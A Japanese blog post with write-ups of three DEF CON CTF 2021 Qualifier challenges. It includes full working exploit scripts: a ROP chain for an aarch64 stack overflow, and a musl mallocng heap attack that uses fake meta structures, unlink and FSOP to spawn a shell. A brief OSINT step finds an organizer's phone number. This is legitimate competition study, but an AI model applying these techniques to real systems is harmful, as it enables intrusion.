h_nosonの日記

競プロ、CTFなど

DEF CON CTF Qualifier 2021 Writeup

say-hellooo, mra, moooslを解いて66位でした。

[☎️ 101pts] say-hellooo

@Zardus の電話番号を特定して電話する問題。Twitterにホームページへのリンク、そのホームページにメールアドレスがあり、メールアドレスで検索すると電話番号が特定できた。電話すると本人かはわからないけど "Hacker!" とか言いながらフラグを教えてくれた(流石に録音だよな)

[🦾 114pts] mra

Aarch64のバイナリが渡される。

$ file mra
mra: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), statically linked, stripped

$ checksec mra
[*] '/home/vagrant/ctf/defconctf/2021/mra/mra'
    Arch:     aarch64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

"GET /api/isodd/" + 文字列を渡すとURIデコードしてその文字列が奇数かどうか判定してる。

$ qemu-aarch64-static ./mra
GET /api/isodd/1%ff
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 76

{
        "isodd": true,
        "ad": "Buy isOddCoin, the hottest new cryptocurrency!"
}

デコードしている部分を見ると"%"の後ろ2bytesを16進表記と読み取っているがnulの判定をしていないため、この直前にあるstrlen(str) <= 12と整合性が取れなくなりSBOFする。

ulonglong decode_uri_component(char *param_1,char *id)

{
  uint uVar1;
  char *id_p;
  char *buf;
  byte c;
  uint j;
  int i;
  
  i = 0;
  j = 0;
  while (c = id[(longlong)i], c != 0) {
    if (c == 0x25) {
      uVar1 = hex2int((ulonglong)(byte)id[(longlong)i + 1]);
      c = hex2int((ulonglong)(byte)id[(longlong)i + 2]);
      c = (byte)((uVar1 & 0xff) << 4) | c;
      i = i + 3;
    }
    else {
      i = i + 1;
    }
    param_1[(longlong)(int)j] = c;
    j = j + 1;
  }
  return (ulonglong)j;
}

スタックが上位アドレス方向に伸びているため、param_1で起きたオーバーフローは上の関数のスタックフレームを侵食することになり、戻り番地を書き換えられる。
ropperを使ってROP gadgetを探すと使えそうなものがいくつか見つかる。

0x0000000000400bf8: sub sp, sp, #0x190; ret;
0x0000000000400cb4: ldur x3, [sp, #0xfffffffffffffff0]; ldur x2, [sp, #0xffffffffffffffd8]; ldur w1, [sp, #0xffffffffffffffe4]; ldur x0, [sp, #0xffffffffffffffe8]; blr x3; (+ ldp x29, x30, [sp, #-64]; sub sp, sp, #0x40; ret)
0x0000000000406558: ldur x8, [sp, #0xfffffffffffffff8]; ldur x0, [sp, #0xfffffffffffffff0]; svc #0; sub sp, sp, #0x10; ret;

これらを使って上の関数で言うparam_1の位置までspを戻してから read(0, bss + 0x400, 0x100); execve(bss + 0x400, NULL, NULL) を実行するようなROPを組むとシェルを起動できる。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    s = process('qemu-aarch64-static mra', shell=True)
elif sys.argv[1] == 'gdb':
    s = process('qemu-aarch64-static -g 1234 mra', shell=True)
else:
    s = remote('mra.challenges.ooo', 8000)

'''
0x0000000000400bf8: sub sp, sp, #0x190; ret;
0x0000000000400cb4: ldur x3, [sp, #0xfffffffffffffff0]; ldur x2, [sp, #0xffffffffffffffd8]; ldur w1, [sp, #0xffffffffffffffe4]; ldur x0, [sp, #0xffffffffffffffe8]; blr x3; (+ ldp x29, x30, [sp, #-64]; sub sp, sp, #0x40; ret)
0x0000000000406558: ldur x8, [sp, #0xfffffffffffffff8]; ldur x0, [sp, #0xfffffffffffffff0]; svc #0; sub sp, sp, #0x10; ret;
'''

bss = 0x41d000

pop_x3_x2_w1_x0_blr_x3 = 0x400cb4
pop_x8_x0_svc = 0x406558
sub_sp_190 = 0x400bf8
read = 0x4064f8
ret = 0x4001cc

rop = b''
rop += p64(sub_sp_190) # x3
rop += b'A' * 0x10
rop += p64(pop_x3_x2_w1_x0_blr_x3)

rop2 = b''
# execve("/bin/sh", NULL, NULL)
rop2 += p64(bss + 0x400) # x0
rop2 += p64(221) # x8
rop2 += p64(0)
rop2 += p64(pop_x8_x0_svc)
rop2 += p64(0)
rop2 += p64(0) # x2
rop2 += p32(0)
rop2 += p32(0) # w1
rop2 += p64(0) # x0
rop2 += p64(ret) # x3
rop2 += p64(0) * 2
rop2 += p64(pop_x3_x2_w1_x0_blr_x3)
rop2 += p64(0)
# read(0, bss + 0x400, 0x100)
rop2 += p64(0x100) # x2
rop2 += p32(0)
rop2 += p32(bss + 0x400) # w1
rop2 += p64(0) # x0
rop2 += p64(read) # x3
rop2 += p64(0) * 2
rop2 += p64(pop_x3_x2_w1_x0_blr_x3)

payload = b''
payload += b'GET /api/isodd/'
payload += b'%\0'
payload += rop.rjust(0x78, b'A').replace(b'%', b'%25').replace(b'\0', b'%00')
payload += rop2.rjust(0x2a8 - len(payload), b'A')

s.send(payload)

time.sleep(0.1)
s.send('/bin/sh\0')

s.interactive()
$ ./exploit.py remote
[+] Opening connection to mra.challenges.ooo on port 8000: Done
[*] Switching to interactive mode
$ cat flag
OOO{the_0rder_0f_0verflow_is_0dd}

[💪 177pts] mooosl

バイナリとmusl libcが与えられる。

$ file mooosl
mooosl: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-x86_64.so.1, stripped

$ checksec --file=mooosl
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified      Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols      Yes     0     2mooosl

$ ./libc.so
musl libc (x86_64)
Version 1.2.2
Dynamic Program Loader
Usage: ./libc.so [options] [--] pathname [args]

実行してみるとkeyとvalueのmapに対して3つの操作ができる。

$ ./libc.so ./mooosl
1: store
2: query
3: delete
4: exit
option: 1
key size: 10
key content: AAA
value size: 20
value content: BBB
ok
1: store
2: query
3: delete
4: exit
option: 2
key size: 10
key content: AAA
0x3:424242
ok
1: store
2: query
3: delete
4: exit
option: 3
key size: 10
key content: AAA
ok
1: store
2: query
3: delete
4: exit
option:
  • store: keyとvalueを入力してhash mapに入れる
typedef struct Item {
  char *key_content;
  char *value_content;
  unsigned long key_size;
  unsigned long value_size;
  unsigned int hash;
  struct Item *next;
} Item;

Item *hash_map[0x1000];

void store(void)

{
  Item *pIVar1;
  uint uVar2;
  Item *local_RAX_22;
  ulong uVar3;
  
  local_RAX_22 = (Item *)calloc(1,0x30);
  uVar3 = get_key((char **)local_RAX_22);
  local_RAX_22->key_size = uVar3;
  uVar3 = get_value(&local_RAX_22->value_content);
  local_RAX_22->value_size = uVar3;
  uVar3 = get_hash(local_RAX_22->key_content,local_RAX_22->key_size);
  local_RAX_22->hash = uVar3 & 0xffffffff;
  uVar2 = (uint)local_RAX_22->hash & 0xfff;
  pIVar1 = hash_map[(ulong)uVar2];
  hash_map[(ulong)uVar2] = local_RAX_22;
  local_RAX_22->next = pIVar1;
  puts("ok");
  return;
}

long get_hash(char *param_1,ulong param_2)

{
  int i;
  long local_10;
  
  local_10 = 0x7e5;
  i = 0;
  while ((ulong)(long)i < param_2) {
    local_10 = (ulong)(byte)param_1[(long)i] + local_10 * 0x13377331;
    i = i + 1;
  }
  return local_10;
}
  • query: keyを入力して対応するvalueを出力する
void query(void)

{
  long lVar1;
  ulong len;
  Item *maybe_item;
  long in_FS_OFFSET;
  char *query;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  query = (char *)0x0;
  len = get_key(&query);
  maybe_item = find(query,len);
  if (maybe_item == (Item *)0x0) {
    puts("err");
  }
  else {
    dump_value(maybe_item->value_content,maybe_item->value_size);
    puts("ok");
  }
  free(query);
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

Item * find(char *query,ulong len)

{
  int iVar1;
  ulong hash;
  Item *current;
  
  hash = get_hash(query,len);
  current = hash_map[(ulong)((uint)(hash & 0xffffffff) & 0xfff)];
  while( true ) {
    if (current == (Item *)0x0) {
      return (Item *)0x0;
    }
    if ((((hash & 0xffffffff) == current->hash) && (len == current->key_size)) &&
       (iVar1 = memcmp(query,current->key_content,len), iVar1 == 0)) break;
    current = current->next;
  }
  return current;
}
  • delete: keyを入力してhash mapから取り除く。ここにUAFの脆弱性があり、find で見つけてきたものがhash mapのリストの最後尾にある場合にリストから外されることなくfreeされる。(maybe_item->next != NULL ではなく (*current)->next != NULL でなければいけない(そもそもこのif文はいらない))
void delete(void)

{
  long lVar1;
  ulong len;
  Item *maybe_item;
  long in_FS_OFFSET;
  char *query;
  Item **current;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  query = (char *)0x0;
  len = get_key(&query);
  maybe_item = find(query,len);
  if (maybe_item == (Item *)0x0) {
    puts("err");
  }
  else {
    current = hash_map + (ulong)((uint)maybe_item->hash & 0xfff);
    if ((maybe_item == *current) || (maybe_item->next != (Item *)0x0)) { // vulnerability
      while (maybe_item != *current) {
        current = &(*current)->next;
      }
      *current = maybe_item->next;
    }
    free(maybe_item->key_content);
    free(maybe_item->value_content);
    free(maybe_item);
    puts("ok");
  }
  free(query);
  if (lVar1 == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

musl libcのmalloc実装の概要

これで脆弱性がわかったわけだが渡されているlibcのバージョンではmallocng (malloc next generation)というglibcmallocとは全く違う実装がされている(ソースコード*1

図で簡単に説明するとmalloc_contextにサイズ毎のbinがあり、それぞれのbinにはchunkを管理するmetaのリストと実際にmallocで返されるchunkがあるgroupから成り立っている。groupにあるchunkは全て同じサイズであり、mmapやbrkで独立に領域が確保されるためglibcにあるようなconsolidateは起こらない。

f:id:h_noson:20210503130258p:plain

struct malloc_context {
    uint64_t secret;
#ifndef PAGESIZE
    size_t pagesize;
#endif
    int init_done;
    unsigned mmap_counter;
    struct meta *free_meta_head;
    struct meta *avail_meta;
    size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift;
    struct meta_area *meta_area_head, *meta_area_tail;
    unsigned char *avail_meta_areas;
    struct meta *active[48];
    size_t usage_by_class[48];
    uint8_t unmap_seq[32], bounces[32];
    uint8_t seq;
    uintptr_t brk;
};

struct meta {
    struct meta *prev, *next;
    struct group *mem;
    volatile int avail_mask, freed_mask;
    uintptr_t last_idx:5;
    uintptr_t freeable:1;
    uintptr_t sizeclass:6;
    uintptr_t maplen:8*sizeof(uintptr_t)-12;
};

struct group {
    struct meta *meta;
    unsigned char active_idx:5;
    char pad[UNIT - sizeof(struct meta *) - 1];
    unsigned char storage[];
};

また、freeしたときにgroupにある全てのchunkがfreeされている(又は全てのchunkが使われている)場合に、metaのリストから削除する dequeue(又はリストに追加する queue)というロジックがあるため偽のmetaを作ることによりunlink attackをしたり任意のアドレスをmallocに返させることができる(詳細は後で)。

したがって、攻撃の流れは

  1. hash mapのリストの長さを2以上にして最後の要素を削除することでUAFを起こす
  2. UAFを使ってアドレスをリークする
  3. heapを壊さないための前準備
  4. 偽のmetagroupを作ってfreeし、callocstdoutを返させてFSOP

アドレスのリーク

まずchunkがどの順番で取り出されるか知る必要があるのでここで簡単にmallocとfreeの流れを説明する。

malloc
  1. 入力サイズを基に適切なbin(active)を見つける
  2. avail_mask(使用可能なchunkを示すbitmap)からchunkを選ぶ(indexが小さいものが優先されることに注意)
  3. avail_maskになければfreed_maskavail_maskに移してもう一度探す
  4. それでもなければ次のmetaを見る又は新しいmetaを作る(3との前後関係は曖昧)
  5. avail_maskから使うchunkに対応するbitを消す
  6. アドレスを返す
free(void *p)
  1. p[-3]& 31group内のindexなのでそれを基にgroupのアドレスとmetaのアドレスを求める
  2. metadequeueするかqueueするか判断し、必要がなかった場合free_maskにchunkに対応するbitをセットする

Itemを確保するときに必要なサイズ0x30に対応するmetaavail_maskの初期値をgdbで確認したところ0x7fであったため、chunkは計7個あることになる。よってstore(key_size=0x10, value_size=0x10)を呼んだ後の状態は以下のようになる(Aをavailable, Fをfreed, Uをusedと表すことにする)

AAAAAAU

次にquery(key_size=0x30)を呼ぶと0x30が確保されてすぐにfreeされるので

AAAAAFU

となる。これを5回繰り返し

AFFFFFU

としてからX = store(key_size=0x10, value_size=0x30)を呼ぶと1番左がItemに割り当てられてからfreed_maskavail_maskに移され、右から2番目がvalueに割り当てられる。

UAAAAUU

この状態でXと同じhash値になるようなkeyを探して確保してからXを削除するとhash mapに参照が保たれたままfreeされる。

FAAAUFU

よってこの右から2番目のchunkに何かのアドレスが来るようにすればリークができ、Xがある1番左のchunkを書き換えれば任意のアドレスでfreeすることもできる。

偽のmetaとgroupを作る

free内で呼ばれるnontrivial_freeを見てみると、g->freed_mask | g->avail_maskが0つまり全てのchunkが使われている状態のときにqueuemeta (ここではg)をmetaのリストに入れている。よって偽のmetaとgroupを持ったchunkをfreeすることで偽のmetaがmalloc_contextから参照され、任意のアドレスをmallocで返させることができる。

static struct mapinfo nontrivial_free(struct meta *g, int i)
{
    uint32_t self = 1u<<i;
    int sc = g->sizeclass;
    uint32_t mask = g->freed_mask | g->avail_mask;

    if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) {
        ...
    } else if (!mask) {
        assert(sc < 48);
        // might still be active if there were no allocations
        // after last available slot was taken.
        if (ctx.active[sc] != g) {
            queue(&ctx.active[sc], g);
        }
    }
    a_or(&g->freed_mask, self);
    return (struct mapinfo){ 0 };
}

最終目標はcallocstdoutを返させることだが、freeの途中のget_metaで厳しめのvalidationがあるためまずはvalidな偽のmetaとgroupを作り、後からstdoutを返すように上書きすることにする。

static inline struct meta *get_meta(const unsigned char *p)
{
    ...
    const struct meta *meta = base->meta;
    assert(meta->mem == base);
    ...
    const struct meta_area *area = (void *)((uintptr_t)meta & -4096);
    assert(area->check == ctx.secret);
    ...
    return (struct meta *)meta;
}

meta->memのcheckに加えて、metaがあるpageの先頭にcxt.secretがあるかの確認もしているのであらかじめ値をリークしておいてalignmentが合うように配置する。chunkのサイズはmeta->scで指定できるのでsize_classesを使って今回使うサイズ0x90に対応するindexの8を偽のmetaに含めた。

const uint16_t size_classes[] = {
    1, 2, 3, 4, 5, 6, 7, 8,
    9, 10, 12, 15,
    18, 20, 25, 31,
    36, 42, 50, 63,
    72, 84, 102, 127,
    146, 170, 204, 255,
    292, 340, 409, 511,
    584, 682, 818, 1023,
    1169, 1364, 1637, 2047,
    2340, 2730, 3276, 4095,
    4680, 5460, 6552, 8191,
};
sc = 8 # 0x90 bytes
last_idx = 1
fake_meta = b''
fake_meta += p64(0) # prev
fake_meta += p64(0) # next
fake_meta += p64(fake_group_addr) # mem
fake_meta += p32(0) + p32(0) # avail_mask, freed_mask
fake_meta += p64((sc << 6) | last_idx)
fake_meta += p64(0)

fake_group = b''
fake_group += p64(fake_meta_addr) # meta
fake_group += p32(1) # active_idx
fake_group += p32(0)

payload = b''
payload += b'A' * 0xa90
payload += p64(secret) + p64(0)
payload += fake_meta
payload += fake_mem

query(key=payload, key_size=0x1200)

queryは領域を確保してからすぐfreeするので、もう1度同じサイズで確保すれば同じ領域が返ってきて内容を上書きできる。これを使ってmeta->memstdout-0x10に変えてからcalloc(0x80)を呼べばstdoutが返ってきてFSOPに持ち込める。

しかし、callocmeta->memmeta(又は条件を満たした別のもの)へのポインタを持つこと前提にしているため前準備なしでは上の方法は動かない(mallocだったら大丈夫)。そのため、metadequeueを使ったunlink attackでstdout-0x10にあらかじめそのアドレスを書き込んでおく必要がある。もう1度nontrivial_freeを見るとmask+self == (2u<<g->last_idx)-1つまり全てのchunkがfreeされている状態だとdequeueが呼ばれる(正確にはokay_to_freeに1を返させる条件もあるが(meta->freeable, meta->maplenなど)詳しくは最終的なexploitを参照)。dequeueされた後にfree内でmetamunmapされるがこれは失敗しても問題ないので成功するようにmetaのアドレスを調整するなどの必要はない。

static struct mapinfo nontrivial_free(struct meta *g, int i)
{
    uint32_t self = 1u<<i;
    int sc = g->sizeclass;
    uint32_t mask = g->freed_mask | g->avail_mask;

    if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) {
        // any multi-slot group is necessarily on an active list
        // here, but single-slot groups might or might not be.
        if (g->next) {
            assert(sc < 48);
            int activate_new = (ctx.active[sc]==g);
            dequeue(&ctx.active[sc], g);
            if (activate_new && ctx.active[sc])
                activate_group(ctx.active[sc]);
        }
        return free_group(g);
    } else if (!mask) {
        ...
    }
    a_or(&g->freed_mask, self);
    return (struct mapinfo){ 0 };
}

dequeueは以下のようになっているため、prev = stdout - 0x18, next = addraddrm以外のアドレス)としておけばstdout-0x10に偽のmetaのアドレスが書き込まれる。

static inline void dequeue(struct meta **phead, struct meta *m)
{
    if (m->next != m) {
        m->prev->next = m->next;
        m->next->prev = m->prev;
        if (*phead == m) *phead = m->next;
    } else {
        *phead = 0;
    }
    m->prev = m->next = 0;
}

これで準備が整ったので最後にFSOPでsystem("/bin/sh")を呼び出す。

#!/usr/bin/env python3
from pwn import *
import random
import string
import codecs

if len(sys.argv) == 1:
    s = process('./libc.so ./mooosl', shell=True)
else:
    s = remote('mooosl.challenges.ooo', 23333)

def store(key_content, value_content, key_size=None, value_size=None, wait=True):
    s.sendlineafter('option: ', '1')
    if key_size is None:
        key_size = len(key_content)
    s.sendlineafter('size: ', str(key_size))
    s.sendafter('content: ', key_content)
    if value_size is None:
        value_size = len(value_content)
    s.sendlineafter('size: ', str(value_size))
    if wait:
        s.recvuntil('content: ')
    s.send(value_content)

def query(key_content, key_size=None, wait=True):
    s.sendlineafter('option: ', '2')
    if key_size is None:
        key_size = len(key_content)
    s.sendlineafter('size: ', str(key_size))
    if wait:
        s.recvuntil('content: ')
    s.send(key_content)

def delete(key_content, key_size=None):
    s.sendlineafter('option: ', '3')
    if key_size is None:
        key_size = len(key_content)
    s.sendlineafter('size: ', str(key_size))
    s.sendafter('content: ', key_content)

def get_hash(content):
    x = 0x7e5
    for c in content:
        x = ord(c) + x * 0x13377331
    return x & 0xfff

def find_key(length=0x10, h=0x7e5):
    while True:
        x = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))
        if get_hash(x) == h:
            return x

libc = ELF('./libc.so')

store('A', 'A')
for _ in range(5):
    query('A' * 0x30)
store('\n', 'A' * 0x30)
store(find_key(), 'A')
delete('\n')
for _ in range(3):
    query('A' * 0x30)
store('A\n', 'A', 0x1200)
query('\n')
res = codecs.decode(s.recvline(False).split(b':')[1], 'hex')
mmap_base = u64(res[:8]) - 0x20
log.info('mmap base: %#x' % mmap_base)
chunk_addr = u64(res[8:0x10])
log.info('chunk address: %#x' % chunk_addr)

for _ in range(3):
    query('A' * 0x30)
query(p64(0) + p64(chunk_addr - 0x60) + p64(0) + p64(0x20) + p64(0x7e5) + p64(0))
query('\n')
heap_base = u64(codecs.decode(s.recvline(False).split(b':')[1], 'hex')[:8]) - 0x1d0
log.info('heap base: %#x' % heap_base)

for _ in range(3):
    query('A' * 0x30)
query(p64(0) + p64(heap_base + 0xf0) + p64(0) + p64(0x200) + p64(0x7e5) + p64(0))
query('\n')
libc.address = u64(codecs.decode(s.recvline(False).split(b':')[1], 'hex')[:8]) - 0xb7040
log.info('libc base: %#x' % libc.address)

for _ in range(3):
    query('A' * 0x30)
query(p64(0) + p64(next(libc.search(b'/bin/sh\0'))) + p64(0) + p64(0x20) + p64(0x7e5) + p64(0))
query('\n')
assert codecs.decode(s.recvline(False).split(b':')[1], 'hex')[:8] == b'/bin/sh\0'

for _ in range(3):
    query('A' * 0x30)
query(p64(0) + p64(heap_base) + p64(0) + p64(0x20) + p64(0x7e5) + p64(0))
query('\n')
secret = u64(codecs.decode(s.recvline(False).split(b':')[1], 'hex')[:8])
log.info('secret: %#x' % secret)

fake_meta_addr = mmap_base + 0x2010
fake_mem_addr = mmap_base + 0x2040
stdout = libc.address + 0xb4280

# Overwrite stdout-0x10 to fake_meta_addr using dequeue during free
sc = 8 # 0x90
freeable = 1
last_idx = 0
maplen = 1
fake_meta = b''
fake_meta += p64(stdout - 0x18) # prev
fake_meta += p64(fake_meta_addr + 0x30) # next
fake_meta += p64(fake_mem_addr) # mem
fake_meta += p32(0) + p32(0) # avail_mask, freed_mask
fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
fake_meta += p64(0)

fake_mem = b''
fake_mem += p64(fake_meta_addr) # meta
fake_mem += p32(1) # active_idx
fake_mem += p32(0)

payload = b''
payload += b'A' * 0xaa0
payload += p64(secret) + p64(0)
payload += fake_meta
payload += fake_mem
payload += b'\n'

for _ in range(2):
    query('A' * 0x30)
query(payload, 0x1200)
store('A', p64(0) + p64(fake_mem_addr + 0x10) + p64(0) + p64(0x20) + p64(0x7e5) + p64(0))
delete('\n')

# Create a fake bin using enqueue during free
sc = 8 # 0x90
last_idx = 1
fake_meta = b''
fake_meta += p64(0) # prev
fake_meta += p64(0) # next
fake_meta += p64(fake_mem_addr) # mem
fake_meta += p32(0) + p32(0) # avail_mask, freed_mask
fake_meta += p64((sc << 6) | last_idx)
fake_meta += p64(0)

fake_mem = b''
fake_mem += p64(fake_meta_addr) # meta
fake_mem += p32(1) # active_idx
fake_mem += p32(0)

payload = b''
payload += b'A' * 0xa90
payload += p64(secret) + p64(0)
payload += fake_meta
payload += fake_mem
payload += b'\n'

query('A' * 0x30)
query(payload, 0x1200)
store('A', p64(0) + p64(fake_mem_addr + 0x10) + p64(0) + p64(0x20) + p64(0x7e5) + p64(0))
delete('\n')

# Overwrite the fake bin so that it points to stdout
fake_meta = b''
fake_meta += p64(fake_meta_addr) # prev
fake_meta += p64(fake_meta_addr) # next
fake_meta += p64(stdout - 0x10) # mem
fake_meta += p32(1) + p32(0) # avail_mask, freed_mask
fake_meta += p64((sc << 6) | last_idx)
fake_meta += b'A' * 0x18
fake_meta += p64(stdout - 0x10)

payload = b''
payload += b'A' * 0xa80
payload += p64(secret) + p64(0)
payload += fake_meta
payload += b'\n'
query(payload, 0x1200)

# Call calloc(0x80) which returns stdout and call system("/bin/sh") by overwriting vtable
payload = b''
payload += b'/bin/sh\0'
payload += b'A' * 0x20
payload += p64(heap_base + 1)
payload += b'A' * 8
payload += p64(heap_base)
payload += b'A' * 8
payload += p64(libc.symbols['system'])
payload += b'A' * 0x3c
payload += p32((1<<32)-1)
payload += b'\n'
store('A', payload, value_size=0x80, wait=False)

s.interactive()
$ ./exploit.py remote
[+] Opening connection to mooosl.challenges.ooo on port 23333: Done
[*] '/home/vagrant/ctf/defconctf/2021/mooosl/libc.so'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] mmap base: 0x7fa17f82f000
[*] chunk address: 0x5617710c5cb0
[*] heap base: 0x561772bb3000
[*] libc base: 0x7fa17f833000
[*] secret: 0xe1891c473279786c
[*] Switching to interactive mode
$ cat flag
OOO{Hello! Mr. Feng Shui}

*1:LD_PRELOADが効かないことに気づかず手元にあった古いバージョン(1.1.19)で解いてしまったのはここだけの話(事あるごとにリモートで動くか確認しましょう)